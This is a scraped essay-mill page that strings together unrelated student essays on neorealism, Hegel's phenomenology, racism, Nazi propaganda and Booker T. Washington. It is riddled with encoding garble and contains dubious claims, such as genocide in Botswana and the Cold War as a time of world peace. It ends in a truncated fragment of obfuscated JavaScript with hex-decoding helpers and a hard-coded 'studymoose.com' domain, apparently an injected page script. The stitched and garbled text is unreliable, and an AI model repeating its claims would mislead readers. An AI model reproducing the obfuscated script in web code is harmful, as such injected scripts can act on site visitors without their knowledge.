balance of power methods to survive any danger or threat potentially posed by a more powerful or superior. However, the small or the weak vulnerable states are another different story. They are actually on the margins of the systems; their actions must be guided by the principle of bandwagon; they must bandwagon or side with the great powers, for example in an international crisis, to protect themselves from as well as to survive other superiors aggressive power. And these actions, as neorealists argue, are perceived to be negligible or insignificant. When the US illegally invaded Iraq, some less powerful countries such as Australia supported the US by sending some of their troops to help the US fight in Iraq as well. Kenneth Waltz also argues that domestic politics is in no sense relevant in intentional system. No matter whatever regime type or domestic political methods and/or whoever statesman a state has, she must ensure her national security, survival, and interests in the system. A state has to act in the system differently from what a person is expected and supposed to act in a confined territory. These two aspects cannot and should not be applied to each others context, for the two contexts are really differentiated. A state must act with accordance to this worlds anarchy. A democracy might fight a war if necessary notwithstanding her firmly held belief in human rights or peaceful problem-solving principles. A number of evidence from what states used to practice and have practiced support the claim. South Korea has been militarily threatened by North Korea. The former therefore readies itself for any possible attack or war from the latter. That is why we can see a sheer number of military maneuvers of friendship between the US and South Korea in her territory. The US is worldwide known to be the father and the biggest proponent of democracy. Yet, it has nonetheless been repeatedly and allegedly accused of having committed human rights infringements in the Middle East. It was not only that; the US used to be condemned for covertly and overtly advocating authoritarian states for its own personal gains, for example, by helping support (even bloody) military coup dà ©tats to topple democratically elected leaders. Cambodia is a democratic country, yet it has better relations with authoritarian states such as China and Vietnam than the democracies such as Thailand, the US and the West which are known to be strong democracies and democracy advocates. Singapore and Malaysia, India and Pakistan, Malaysia and Indonesia, Cambodia and Thailand warned each other to fight a war if no concession has not made as demanded. China and Viet Nam more often than not have had bitter relations with each other for ages though they both have shared the same communist ideology and similar culture and so forth. International cooperation, international institutions, non-state actors such as NGOs, civil society, and other international actors still cannot fully and totally replace the position, role, and importance of states as the main actors in the system. IGOs such as UN and international law are just like scrap paper for the great powers, who use them as tools to gain global powers and influence. Those newly emergent actors are of course increasingly challenging the states actors, but still states have a shelter to protect itself, i.e. state sovereignty principle. If a state does not consent or mandate another state or other actor to intervene into its own internal affairs, they will never ever be eligible to do anything, but just passively condemn. States cooperate with one another only on the basis of self-interests. Whatever concession and policy a state has made must be attributable to its national interests, indeed. If states are aware of losses or setbacks in the cooperation or some kind of agreements or treaties, then as a matter of fact they will never ever do so. Too vast body of innocent people were brutally and callously crushed to die or harmed in such countries as Botswana, Rwanda, Zimbabwe, Cambodia, Iraq, Iran, North Korea, Burma, China, and others else where, where exist ethnic cleansings, genocides, internal conflicts, human rights contravention, and the like. This is simply because other states or actors especially the West and UN cannot do anything practically with the issues, but just passively condemn, as the hosts do not consent them to do so. UN is largely influenced by the great powers. Thus, it should not be a surprise that UN can be reflected as the great powers interests. UN has failed to deal successfully with many important issues as to address those issues was believed to be at the expense a great powers interests. UN has been successful in solving many issues, but mainly on the ground that to resolve those issues was believed to serve the great powers interests. Bipolar state system is logically claimed by the father founder of neorealism Kenneth Waltz to be more stable than the multi-polar one. The outbreaks of WWI and WWII and cold war are concrete examples to explain this mere fact. WWI and II broke out because of the multi-polarity at each of the time; there were greater suspicion, mistrust, and higher chance for shift in power. As a result, those great powers declared wars against each other. Cold war was a contrasting story. It was a period of peace for the world though it seems not. In conclusion, we can see that the world is best explained by neorealism rather than any other theories. Many events both in the past and now glorify and magnify the theory. The theory is more practical and applicable than the others. Therefore, it is highly-recommended that new international relations learners and scholars as well as the foreign policy-makers must be really careful in making any decisions. And the decisions are to be made on the basis of and in careful light of neorealism, otherwise overwhelming losses and regrets and more tragically demise can be made available for your states. Be careful and bear in your mind that your countrys future is in your hands. Firmly hold realism principles and prosper.

Phenomenology of the Spirit Essay example -- Philosophy Philosophical

Phenomenology of the Spirit ABSTRACT: The idea of spirit in its highest form takes a gathering character, where all is attracted by what Hegel called the world idea, an absolute spirit, and by what modern science understands as human psychological and social (consciousness) recognition. Included in this are unusual abilities like extrasensory perception, clairvoyance, telepathy, etc. The sensibility of the pointed problems can be more fruitfully realized within a new phenomenology of the spirit. This is distinguished from Hegel by the fact that spirit is considered as non-destroyed attribute or matter’s property (quality). If Hegel considered the absolute idea as the outcoming principle or substantial base of being, then a new phenomenology of spirit must be abstracted from the question stated of the primary and secondary character of the material and ideal in a global plan. But this conception of the materialistic philosophy should be over comprehended, where spiritual is considered as the secondary phe nomenon, so as the secondary in comparison with the material side of being. This new phenomenology of the spirit is based on the Hegelian and Marxist traditions’ overcomprehension in a quality of the main idea which takes up the subjective content and spiritual material base — its material-ideal nature. Both a society and an individual possess such qualities and properties that cannot be understood only through the conventional ideology of objective, material being. There exist spiritual phenomena as well, understood here as everything linked to consciousness, psychology, feelings, perception etc. These are mostly connected with human beings and human society. At the same time the science actively discuss subjects not connec... ...been understood as secondary phenomenon, Thus having lesser importance in comparison with the material aspect of existence. The new phenomenology of spirit, based upon reconsideration of Hegel / Marx tradition, can have as its main idea the subjective contents and material basis of spiritual, in other words — its material-ideal nature. It seems that in the nearest future such interpretation of the nature of spiritual will become more definite. Nowadays the new data is collected, new ideas are put forward, sometimes lying rather far from a single equivocal appraisal. The intellectual situation of the border of two centuries and two millennia is sometimes thought of as critical, even deadlock. However, the tendency of developing knowledge is such that the current processes will serve the basis for new paradigms of cognition, for the ultimate qualitative breakthrough.

Racism :: essays research papers

The sizzling streams of sunlight were just beautifully glimmering down on the crisp green school yard. Such a wonderful day that was. Nothing could have ruined it. Little Jimmy, since it was such a wonderful day decided to go to the corner store and buy himself a little treat. As little Jimmy started walking over to the store, clouds flocked over the dazzling sun and the sudden pitch dark meant no trouble. On the other side of the road were three white boys from Jimmy's same school. Upon recognizing Jimmy, the boys ran over the street to where he was. "Hey Negro, what's up?", one of the white Boy said. "Did your mamma pack you enough to eat to-day?", another hooted. "Just leave me alone.", Little Jimmy said "Oh no, Jimmy's really getting pist off!?", the first boy retaliated. "Just shove off and let me be," Jimmy answered. It is like this everyday, everywhere, and everytime, people suffer discrimination. All because they have differen ces amongst each other. Different beliefs, different cultures, different skin colour, all of these act like building blocks to help construct what we know as Racism. Racism has become one of the many burdens amongst multi-cultural worlds like Canada and the States. Racism is a part of each and every one of us. No doubt, we are all racist, but this the term racism has been used too loosely. Racism has been mutated to such an extent that it could be a reason for war, a symbol of terrorism, and even an excuse for neglecting. Is that all there is to it? No, actually it is just the beginning. Racism is just like warfare in which there is no shelter and nobody is neutral. Nobody is exempt from this demon. He has haunted us with a bitter curse. On one occasion I remember, nobody would play with me at school. I would walk around by myself and ask people if we could play together. Everywhere that I went, like the process of induction, everyone would avoid me. Like two inducted poles with the same polarity, they would just shimmer off into the distance and continue to do whatever they're doing. Because of racial differences, they neglect me. People are afraid of the unknown, and it is this difference amongst people that spread rumors and distrust amongst people. Corrupting our thoughts and reasons, we get accustomed to thinking differences are omens.

Propaganda in indoctrinating Nazi ideals Essay

The Nazi propaganda after the consolidation of power featured many of the common characteristics associated with totalitarian propaganda; Twisted truths, stereotypical and distorted pictures of populace groups, simple messages repeated frequently and the use of a common enemy as a scapegoat. Also the Nazi propaganda featured many new methods of indoctrination, such as the mass rally meetings and the extensive radio propaganda. But how successful where these ways in conveying and convincing people of Nazi ideals? That is the question which I plan to investigate in my essay. The propaganda campaign launched by the Nazi government was headed by the brilliant orator Joseph Goebbels which was put as Reich Minister for Public Enlightenment and Propaganda where he coordinated the seven different departments: administration and organization, propaganda, radio, press, films, theatre, and adult education. From the department Goebbels controlled all aspects of Nazi propaganda, and since he was such a skilful propagandist almost all parts of the propaganda campaign, especially the radio, became huge successes. Of all the medias available to Goebbels his unquestionable favourite was the radio- the peoples receiver. Goebbels wanted to ensure that every home in Germany was equipped with a â€Å"Volksempfà ¤nger† from which they could listen to propaganda at all times of day. Prices where slashed and in the late 1930 the Germans could boast having the cheapest radios in the world. Radios where even put up in working places and public areas to ensure a maximal amount of listeners. And due to the large effort put into the campaign it became one of the most successful, by 1940 16 million households in Germany listened to Nazi Propaganda via the radio. Another effective way of supplying propaganda to the German people, was ,in theory, by the use of the censored press. In the beginning the press remained relatively unchanged, propaganda message where inserted in some magazine and papers, but most of the press friendly towards the regime remained unchanged, at least in the beginning. Soon Nazis propaganda was found in every page in every paper and by 1945 the Nazis ran 82% of all the newspapers in print.

Assess the view that Booker T. Washington was the most important leader in the development of AA civil rights Essay

Assess the view that Booker T. Washington was the most important leader in the development of African American Civil rights in the period 1865 to 1915? It could be argued that Booker T. Washington was the most important figure for developing black civil rights. Washington lived between 1856 and 1915 and was born into a slave family on a Virginia tobacco plantation. He was raised in a log cabin with no windows or beds. After the civil war and the emancipation proclamation his family moved to West Virginia where he worked as a coal miner and domestic servant while acquiring some form of schooling. When he was older he attended the Hampton Institute in 1872 and learnt various trades, his entrance examination consisted of cleaning a room. He then began a career as a teacher in West Virginia, then at the Hampton Institute and then was finally offered the position of founder and principal of Tuskegee in 1881 which was a college which had neither land nor buildings. Whether he was the most important leader is debatable as there were other leading figures trying to carve the way for black African American rights such as W.E.B. Du Bois, Ida B. Wells and Thaddeus Stevens. The aims and methods of Booker T. Washington is one way of assessing if he was the most important figure in the development of African American civil rights. He was a accommodationist, this is a theory in which he thought that African Americans should accept the situation for the time being and develop a pragmatic approach, demands for civil rights should be put on hold and a longer term strategy of developing their own community through economic development and educational advancement would come to the forefront. However this was attacked by Northern black militants who thought he â€Å"sought to little†. Washington’s views was criticised by another major black leader of the era, W.E.B Du Bois who believed that civil rights must be obtained by protest and that without political and legal rights; the black community could not economically prosper. In my opinion Booker T. Washing had the better aims as even if blacks did receive civil rights, they wouldn’t of have the economic prosperity to fully express them and so this method would have benefitted the black community greater even though it may of taken longer than the radical protestors at the time thought acceptable. Considering the extend and severity of white hostility towards African Americans at the time, accommodationism was likely to have exploited the few rights that they had gained better than confrontation for more rights. During the period 1865 to 1915 Booker T. Washington had various successes throughout his career, this is another way of assessing if he was the most important leader in the fight for black civil rights. One of these successes was his â€Å"Atlanta compromise† speech in 1895 which was a success as no black speaker had ever spoken at an important southern gathering such as the world fair which expressed his views that â€Å"it was foolish to agitate for social equality. Equality would come through work not force.† It was also successful as other blacks supported his view and thought that economic advancement was all they could gain for the moment and didn’t have the desire to mix with whites. He also benefitted several generations of African Americans with vocational education at Tuskegee which helped them to have more economic opportunities. He also established the National Negro Business league to support black people when setting up businesses in 1900. In could argued that other figures had greater successes in the campaign for African American civil rights such as W.E.B. Du Bois who had a number of successes such a helping to establish the NAACP in 1909 which was one of the most important twentieth century black civil rights organisation . His influential writings that blacks had special cultural and spiritual aspects this increased the black community’s pride of their race which was shown in the â€Å"Harlem Renaissance†. He also helped I believe that the impact of Washington’s success were great than Du Bois as he impressed many whites with the achievements and recognition with important political leaders such a Theodore Roosevelt who invited him to dine at the White House and used him as an advisor, which was remarkable at the time. Booker T. Washington also had a number of failures during his time when he was trying to improve the lives of African Americans, one of these failures was that by 1901 he was receiving a growing amount of critics who claimed he accepted the idea of white supremacy and had made no attempt to challenge the lower social position that blacks could not escape or to challenge the violent side of control such as lynching and even though he was a black advisor for several Presidents he did not use his position to try to change the political discrimination that blacks faced when trying to vote. Another failure that could be seen of Washington is that even despite his attempt to improve black education, black the literacy rate didn’t improve much and the gap of educational spending was widening between black and white schools, for every $2 spent on African American schools. Although this lowered his reputation It could be argued that he wouldn’t be able to change these factors however some of the black community argued he didn’t make enough of an effort to, which disagrees with the point that he was the most important leader in the development of African American civil rights in this time period. The legacy and influence that Booker T. Washington had on the development of African American civil rights, this is another way of evaluating how important he was as a leader. The influence he had on other blacks was inspiring as he advanced from being a slave to being appointed the principal of a college; this changed the mind set of blacks to thinking that if he can do it why can’t they. He also set a good example of self-discipline to his students. Between 1895 to 1905 he was also a main spokesman for the black people and gained several valuable contacts on the political scene which was dominated by whites. However it could be argued that Ida B. Wells had a great influence in the period due to her wide ranging activism especially in publicising lynching and the false rumours around it such as its cause being male black rape allegations. She also established institutes, national and local organisations that had lasting effect on communities; they benefitted both the black lower and middle classes. She also inspired women to take a more active role in campaigning for civil rights. Overall, taking all of the above factors into consideration I believe that Booker T. Washington could be considered the most important leader in the development of African American civil rights. Although it could be argued he didn’t achieve much in terms of actually gaining civil rights for blacks, the other prominent black leaders didn’t change much either and at least he was very influential figure and had several successes that were significant at the time, as shown his speech the â€Å"Atlanta compromise† which was supported by both whites and blacks. His connections in politics also seemed show that he was changing minds in the white dominated sector. He aimed to prove that blacks were just as hard working as whites and this was shown by increasing numbers of blacks being given jobs in vocational trades however this did not increase by as much as European immigrants. Other leaders may of contributed more by participating in major organisations such a NAACP that had made some advances in challenging court cases these organisations had more of an impact after the time period mentioned and so Washington can be credited with the most important African American leader between 1865 and 1915. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=†Ã¢â‚¬ ,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "studymoose.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e